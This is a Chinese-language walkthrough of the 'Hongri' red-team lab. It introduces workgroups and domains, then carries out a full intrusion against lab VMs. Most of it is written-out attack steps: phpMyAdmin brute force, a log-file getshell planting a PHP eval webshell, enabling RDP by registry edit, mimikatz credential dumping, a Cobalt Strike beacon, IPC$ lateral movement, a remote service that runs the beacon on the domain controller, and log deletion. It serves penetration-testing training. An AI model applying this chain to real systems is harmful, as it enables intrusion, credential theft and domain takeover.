目录
入侵网络的思路
网络架构(先进公网,再进内网)
入侵思路
一些概念
(1)工作组
(类似于大学班级,相对自由散漫,用户可以自己随意切换工作组)
在一个大型单位里,可能有成百上千台计算机互相连接组成局域网,如果不对这些计算机进行分组,网络的混乱程度是可想而知的为了解决这一问题,产生了工作组( Work Group)这个概念。将不同的计算机按功能(或部门)分别列入不同的工作组,例如技术部的计算机都列入"技术部"工作组、行政部的计算机都列入"行政部"工作组。相比不分组的情况,这样的情况有序得多(尤其对大型局域网来说)。
(2)域
域如图所示,内网渗透--域渗透(渗透域控)
域domain(类似于一个高中班级,纪律严格)
为了解决工作的不方便性,提出了域这个概念
域( Domain)是一个有安全边界的计算机集合,可以简单地把域理解成升级版的工作组。与工作组相比,域的安全管理控制机制更加严格。用户要想访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份
域控domain controler(类似于一个班级的班主任)
域内主机(类似于班级中的学生)
(3)账号
既然存在工作组和域两种形式的环境,那么针对于电脑而言,就有两种形式的账号。
内网账号分类
1、工作组账号(本地账号)
2、域环境账号(域账号)由域控分配
账号存储位置
1、本地账号在本地的机器上
2、域账号在域控上
账号识别
1、工作组账号(计算机名\账户名) 只能登陆到自己电脑
2、域账号(域名\账户名) 可以登录到任意电脑
windows命令
hostname 查看计算机名
net user 查看本地账户
红日靶机(一)
网络结构
其中web服务器有2张网卡,一个负责和内网通讯,一个和互联网通讯
下载
靶场下载链接:漏洞信息
下载红队靶机1
下载解压后,有三个文件夹
配置web服务器的两张网卡
vmware打开虚拟网络编辑器
更改设置->添加网络,添加两张网卡vmnet3和vmnet4
配置两张网卡
win7虚拟机绑定前面添加的vmnet3网卡
启动win7虚拟机(密码hongrisec@2019)
如果显示“未能启动虚拟机”的话,可以把.vmx文件用文本格式打开,修改virtualHW.version = "18"
页面显示激活,点击取消
手动配置一下ip地址(192.168.111.128),这是和黑客通信的ip
到这里第一张网卡已经配置好了
我们来配置第二张网卡,右键->设置
添加第二张网卡
选择VMnet4,这是和内网通信的地址
同样手动配置一下ip地址(192.168.52.143)和DNS服务器
至此两张网卡都已经配好了
用本机ping一下发现不能ping通,是因为设置了防火墙
找到防火墙位置
手动关闭防火墙
发现可以ping通了
试试ping另一种网卡,发现ping不通(因为另一张网卡是内网的)
配置内网的两台机器(域控和域内主机)
将三台机器备注成web服务器、域控和域内主机
两台主机的网卡都设置成vmnet4(因为vmnet4是内网的网卡)
点击域控,切换用户
显示密码已经过期,我们将密码修改成hongrisec@2020
密码更改成功后,这3台主机的密码均已被修改
尝试登录域内主机
能登进去
渗透web服务器
外网信息搜集
(1)外网信息搜集的内容
信息收集就是收集目标的相关信息,其中包含了
1、IP地址
2、子域名
3、目录结构
4、JS信息
5、APP和小程序
6、端口
7、旁站
8、C段
9、whois信息
10、公司结构
11、公司相关手机邮箱
今天我们用两个东西端口收集和目录结构
(2)开始信息搜集(主要是利用工具)
打开web服务器的:c盘->phpstudy->phpstudy.exe->启动
如果打不开的话,重启一下虚拟机
访问一下192.168.111.128界面
御剑系列工具下载链接:百度网盘 请输入提取码
提取码:8888
使用御剑端口扫描工具,可以看到开放了如下端口
使用御剑后台扫描工具,扫出来下面几个页面
可以点击访问一下
phpMyAdmin是一个数据库管理系统
phpinfo页面
漏洞利用
(1)漏洞利用的两种方式
1、逐个功能点测试
2、找特征然后搜索历史漏洞
(2)利用phpMyAdmin
(1)爆破用户名密码
phpMyAdmin多线程批量破解工具
下载链接:百度网盘 请输入提取码
提取码:8888
新建一个"网址.txt"文本文件,写入刚刚扫出来的phpMyAdmin页面
其中config文件夹里面是用户名密码字典,可以自己添加修改
导入网址,选择刚刚新建的文本文件,点击开始任务
成功爆破出账号密码root:root
登进phpMyAdmin的页面
(2)getshell(有4种方式,这里演示一种,日志文件写shell)
【第一步】:查看当前日志配置
执行sql语句:show variables like '%general%'; 查看日志文件在哪里放着
日志开关显示OFF,我们的目标是将其开启ON
【第二步】:开启日志
通过set global general_log = on打开全局日志功能。
再次查询show variables like '%general%';发现已经变成ON
开启之后,我们的操作会被记录到这个日志文件中
【第三步】:定义日志路径
在探针页面找到网站根目录:C:/phpStudy/WWW
尝试修改日志的路径到网站根目录下,把日志加载到111.php里面:
set global general_log_file='C:/phpStudy/WWW/111.php';
再次查询show variables like '%general%'; 发现日志文件存放到了111.php中
访问一下日志文件,刚刚执行的一些操作被记录在了日志中
【第四步】:在日志中写入木马:SELECT '<?php eval($_POST[1]);?>';
这句话会被记录在日志中,相当于向日志中写入了一句话木马
可以在虚拟机中看到111.php文件中确实被写入了一句话木马,我们可以通过这个木马去控制网页
用蚁剑连接木马
可以看到整个网站目录
右键打开虚拟终端,可以输入命令,发现当前账号为域账号
(3)开启3389端口远程桌面控制
netstat -ano查看端口开启状况,发现没有3389端口
执行命令开启3389端口:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
远程桌面连接192.168.111.128
需要输入账号密码,但是此时黑客并不知道账号密码
下载mimikatz
蚁剑里右键上传文件,将mimikatz.exe上传到服务器
终端运行这个命令:mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
该命令用于提取系统中的敏感信息,特别是 Windows 系统中的凭据(如登录密码)。其中:
mimikatz.exe
:这是工具的可执行文件。"privilege::debug"
:这是 Mimikatz 的一个模块,用于提升进程权限。Windows 系统中,某些敏感操作(如读取内存中的密码数据)需要 Debug 权限。此命令尝试将 Mimikatz 的进程提升为具有调试权限。"sekurlsa::logonPasswords"
:这是 Mimikatz 的一个功能模块,用于从内存中读取用户的登录信息,包括明文密码、哈希值等。这依赖于系统中某些安全机制(如 LSASS 服务)存储的凭据。"exit"
:执行完前面的操作后,退出 Mimikatz。
找到用户名和密码
输入账号密码,远程桌面登录成功
渗透域控和域内主机
内网信息搜集
(1)内网信息搜集的内容
内网信息收集主要是针对公司的整个网络结构,网络连通性,是否是域,用户信息等收集
内网本地信息收集
自动收集本地信息
内网IP扫描技术
内网端口扫描技术
域内基础信息收集
查找域控制器
获取域内用户
定位域管理员
PowerShell使用方式
内网渗透PowerShell脚本
敏感数据定位
(2)开始信息搜集(主要是利用命令)
搜集当前的登录账号:whoami
搜集机器名hostname,显示stu1
god和stu1不一样,猜测这个账号是域账号
搜集电脑相关信息:systeminfo
发现域名是god.org
向域控查询,整个域中有多少个域账号:net user /domain
发现五个用户
向域控查询,当前域中有几台电脑:net group "domain computers" /domain
发现域中加入了3台电脑:DEV、ROOT-TVI862UBEH、STU1,当前stu1已经被我们控制
查看域控的ip和他的位置:nslookup -type=SRV _ldap._tcp
查到域控的ip地址192.168.52.138,域控名字owa.god.org(其中owa是域控电脑的机器名)
查看ip地址信息:ipconfig
发现电脑双网卡运行,有两个ip:192.168.111.128/192.168.52.143
其中192.168.111.128被我们控制,另一个ip通向另一个网段
查看存活的主机:arp -a
52网段有2台主机存活:192.168.52.138/192.168.52.141
确定上面两个ip对应的是谁,找一下域名对应的IP地址,ping 主机名.域名,可以得到IP
例如:ping ROOT-TVI862UBEH.god.org,得到ip为192.168.53.141
192.168.53.141 对应ROOT-TVI862UBEH.god.org(域内主机)
192.168.52.138 对应owa.god.org(域控)
192.168.111.128 对应stu1.god.org(已经控制了)
内网渗透(利用msf或者cs进行渗透)
Webshell管理工具也可以执行命令,但是在一些操作上实受限的,比如想提权,想扫描,想横向,想代理都是不方便的怎么办呢?接下来就要使用CS或者MSF工具
(1)蚁剑到cs的迁移上线
cs下载链接:https://pan.baidu.com/s/16ZwH-ks0Qh9CGMZ-Y7E5qw 提取码:8888
找到teamserer.bat文件的目录,用管理员身份打开cmd终端
黑客通过192.168.111.1和web服务器访问
启动服务端:teamserver.bat 192.168.111.1 123456
启动客户端:点击start.bat
填写ip、端口等信息
connect连接成功后,弹出下面这个界面
首先需要生成监听器
生成的监听器如图
选择windows exe可执行文件攻击
选刚刚设置的监听器,然后generate生成exe文件
生成的artifact.exe随便保存在一个文件夹里
用蚁剑上传刚刚生成的.exe文件
蚁剑里面命令行执行artifact.exe
cs里面显示目标主机上线
event log里面可以看到日志信息
右键进入交互模式
可以在beacon里面输入命令:shell ipconfig,显示ip信息
注意:需要在前面加上shell才能执行
(2)内网横向移动技巧
横向移动(lateral movement)已成为需要留意的主要威胁之一。成功的横向移动攻击可以使攻击者闯入用户现有系统,并访问系统资源。高级持续性威胁(APT)是横向移动带来的最常见网络攻击类型。如果网络有足够多未加保护的漏洞,只要有足够的时间,黑客最终就可以访问域控制器本身。
横向移动就是通过一台电脑从而控制公司的整个电脑
横向移动的方式有很多(我们这里只演示IPC$)
什么是IPC$
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
我们的目标是:通过web服务器控制域控
1、cs里面选择run mimikatz直接读取目标主机账号密码
2、建立IPC$的管道符(需要管理员才能建立IPC)
shell net use \\192.168.52.138\ipc$ "hongrisec@2020" /user:god\administrator
表示和192.168.52.138建立ipc$管道,用密码hongrisec@2020,用god\administrator账号
显示命令执行成功
查看IPC$管道是否建立成功:shell net use
如果把木马文件上传到域控执行,黑客是没法访问到域控的,因为网络不通
这里我们需要用到隧道的知识,隧道的知识中包含了很多很多的内容:
1、反弹SHELL
2、端口转发
3、端口映射
4、正向连接
5、反向连接
6、DNS隧道
7、socks隧道
8、HTTP隧道
9、ICMP隧道
在web服务器和域控中间建立一个流量隧道(IPC$只能传文件,隧道可以传流量)
如何上线不出网的机器
这里我们使用CS自带的功能,进行内网穿透实验
SMB Beacon使用命名管道通过父级
Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。
新建一个监听器
选择攻击方式
随便保存到一个文件夹
选择文件管理,upload
上传刚刚的.exe文件
将beacon.exe复制到域控主机的c盘:shell copy beacon.exe \\192.168.52.138\C$
创建一个服务,服务一旦运行,就会运行c盘下的恶意木马:shell sc \\owa.god.org create test1 binpath= "cmd.exe /c c:\beacon.exe"
利用
sc
命令行工具 , 试图在远程计算机owa.god.org
上创建一个名为test1
的服务,该服务的功能是执行c:\beacon.exe
。
显示服务创建成功
开启服务:shell sc \\owa.god.org start test1
连接目标机器(必须主动连接):link owa.god.org
目标主机上线,system权限
右键即可进行终端交互
流程梳理:黑客通过cs把木马传入web服务器->web服务器通过IPC传给域控->通过IPC创建服务,服务运行带动木马运行->木马走SMB流量(经过web服务器传给黑客,黑客就可以通过这条路把里面的域控控制)->最后,删日志(内网渗透拿下域控就结束了)